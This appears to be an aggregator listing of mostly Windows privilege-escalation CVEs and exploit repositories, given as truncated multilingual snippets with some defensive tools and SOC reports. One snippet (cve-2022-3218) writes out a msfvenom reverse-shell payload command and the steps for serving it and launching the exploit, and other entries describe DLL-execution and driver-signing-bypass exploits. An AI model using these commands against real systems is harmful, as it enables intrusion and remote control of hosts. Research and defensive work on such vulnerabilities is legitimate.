WindowsRootkitsGuide

이 저장소에는 README가 없습니다...

CVE-2024-44193

Взлом Windows через iTunes - локальное повышение привилегий 0-day Представляем CVE-2024–44193 Это разбор CVE-2024–44193 — эксплойта локального повышения привилегий в iTunes версии 12.13.2.3. Она была исправлена Apple 12 сентября 2024 года. Ссылка на Security Advisory Apple: Apple's Security...

CVE-2020-1337-exploit

CVE-2020-1337 Повышение привилегий в Windows Это эксплойт типа WWW write-what-where. Авторы Junyu Zhou @md5salt, сообщивший, что может быть новая уязвимость. Wenxu Wu @ma7h1as, я нашел уязвимость и написал этот эксплойт. Как это работает В патче для CVE-2020-1048 Microsoft добавил код проверки...

Explotacion-RCE-Pentesting-BlueKeep-CVE-2019-0708-

제어된 환경에서의 BlueKeepCVE-2019-0708 취약점 익스플로잇 Windows Server 2008 R2의 RDP 서비스에서 BlueKeepCVE-2019-0708 취약점을 익스플로잇하는 과정의 분석, 실행 및 문제 해결에 초점을 맞춘 학술 프로젝트로, Instituto Profesional Los Leones의 사이버보안 과목을 위해 개발되었습니다. 목표 가상화 환경에서 Nmap을 이용한 초기 정찰부터 Metasploit/Meterpreter를 통한 권한 상승 및 대상 시스템과의 상호 작용까지 전체 침투 테스트 흐...

SOC-Investigation-CVE-2024-49138

🛡️ SOC 조사 보고서: CVE-2024-49138 악용 📌 요약 알림 제목: SOC335 - CVE-2024-49138 악용 탐지 심각도: 높음 대상 호스트: Victor 172.16.17.207 운영 체제: Windows 10 기본 사용자: letsdefend 판정: True Positive 악성 활동 확인됨 🔍 조사 방법론 1. 프로세스 및 바이너리 분석 의심 파일: svohost.exe 실행 경로: C:\temp\serviceinstaller\svohost.exe 이상 징후: 프로세스 사칭: 이름이 정상 Windows...

wtf v0.5.8

what the fuzz A distributed, code-coverage guided, cross-platform snapshot-based fuzzer designed for attacking user and or kernel-mode targets running on Microsoft Windows and Linux user-mode experimental!. Overview what the fuzz or wtf is a distributed, code-coverage guided, customizable,...

CVE-2026-16675

A privilege escalation security issue exists within FactoryTalk® Activation Manager. The security issue stems from custom actions in the installer that spawn visible console windows running with SYSTEM privileges during installation or repair operations. An authenticated attacker with Windows...

CVE-2024-14047

A local vulnerability in the Winlogbeat Windows installer caused runtime files to be placed in a directory writable by unprivileged users. A low-privileged attacker with existing access to the system could pre-position malicious filesystem links, causing a subsequent elevated Winlogbeat operation...

CVE-2025-24990

CVE-2025-24990 — Разыменование недоверенного указателя в Windows EoP Аналитический отчет от Sentinel AI Defense. Только защитный анализ — ни рабочего эксплойта, ни PoC здесь не публикуется. Привилегированный компонент Windows разыменовывает указатель, полученный из недоверенного контекста, без ег...

EUVD-2024-55738

A local vulnerability in the Winlogbeat Windows installer caused runtime files to be placed in a directory writable by unprivileged users. A low-privileged attacker with existing access to the system could pre-position malicious filesystem links, causing a subsequent elevated Winlogbeat operation...

CVE-2024-14047 Improper Link Resolution Before File Access ('Link Following') in Winlogbeat Leading to Arbitrary File Write and Denial of Service

A local vulnerability in the Winlogbeat Windows installer caused runtime files to be placed in a directory writable by unprivileged users. A low-privileged attacker with existing access to the system could pre-position malicious filesystem links, causing a subsequent elevated Winlogbeat operation...

CVE-2025-33073

CVE-2025-33073 — Повышение привилегий через NTLM-рефлексию в клиенте SMB Windows Исследовательский отчет от Sentinel AI Defense. Только защитный анализ — здесь не публикуется ни рабочий эксплойт, ни PoC. Ошибка неправильного контроля доступа в клиенте SMB Windows, которая возрождает методы...

CVE-2026-16675 Rockwell Automation FactoryTalk® Activation Manager - Privilege Escalation

A privilege escalation security issue exists within FactoryTalk® Activation Manager. The security issue stems from custom actions in the installer that spawn visible console windows running with SYSTEM privileges during installation or repair operations. An authenticated attacker with Windows...

EUVD-2026-69128

A privilege escalation security issue exists within FactoryTalk® Activation Manager. The security issue stems from custom actions in the installer that spawn visible console windows running with SYSTEM privileges during installation or repair operations. An authenticated attacker with Windows...

CVE-2023-21768-DSE-Bypass

Форк Этот проект является форком: WindowsLPEAFDCVE-2023-21768 . Обновления Этот проект обновлён из эксплойта chompie1337 и будет отключать DSE, загружать неподписанный драйвер и включать DSE...

NetScope

NetScope 오프라인 우선 Windows 네트워크 조사 및 대응 플랫폼. NetScope는 보안 분석가, 침해 대응 담당자, CTF 플레이어를 위한 데스크톱 애플리케이션입니다. 패킷 캡처.pcap / .pcapng 또는 라이브 인터페이스를 입력받아 완전한 증거 기반 조사 결과 — 판정, 공격 스토리, 침해 지표, 추출된 전리품, 원클릭 대응 작업 — 를 클라우드 서비스나 유료 API 없이 전적으로 사용자의 머신에서 생성합니다. NetScope를 선택하는 이유 Wireshark, Suricata 및 몇 가지 스크립트로 대부분...

cve-2022-3218

Шаг 1 — Создание реального пейлоада Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Шаг 2 — Раздача пейлоада через HTTP В той же директории: python3 -m http.server 80 Шаг 3 — Настройка эксплойта Запускайте так: python3 CVE-2022-3218.py 172.20.7.185...

Qlik Sense Enterprise - Path Traversal

A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous...

Hijack-service-binaries

Hijack-service-binaries Инструмент аудита безопасности на PowerShell, который выявляет исполняемые файлы служб Windows, которые текущий пользователь может изменить, — потенциальный вектор повышения привилегий. Обзор Этот скрипт сканирует все службы Windows кроме system32 и svchost и проверяет,...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng @edwardzpeng и Xuefeng Li @lxf02942370 Протестировано на полностью пропатченном контроллере домена 2019 Выполнение вредоносных DLL удаленно или локально Обновление патча Microsoft...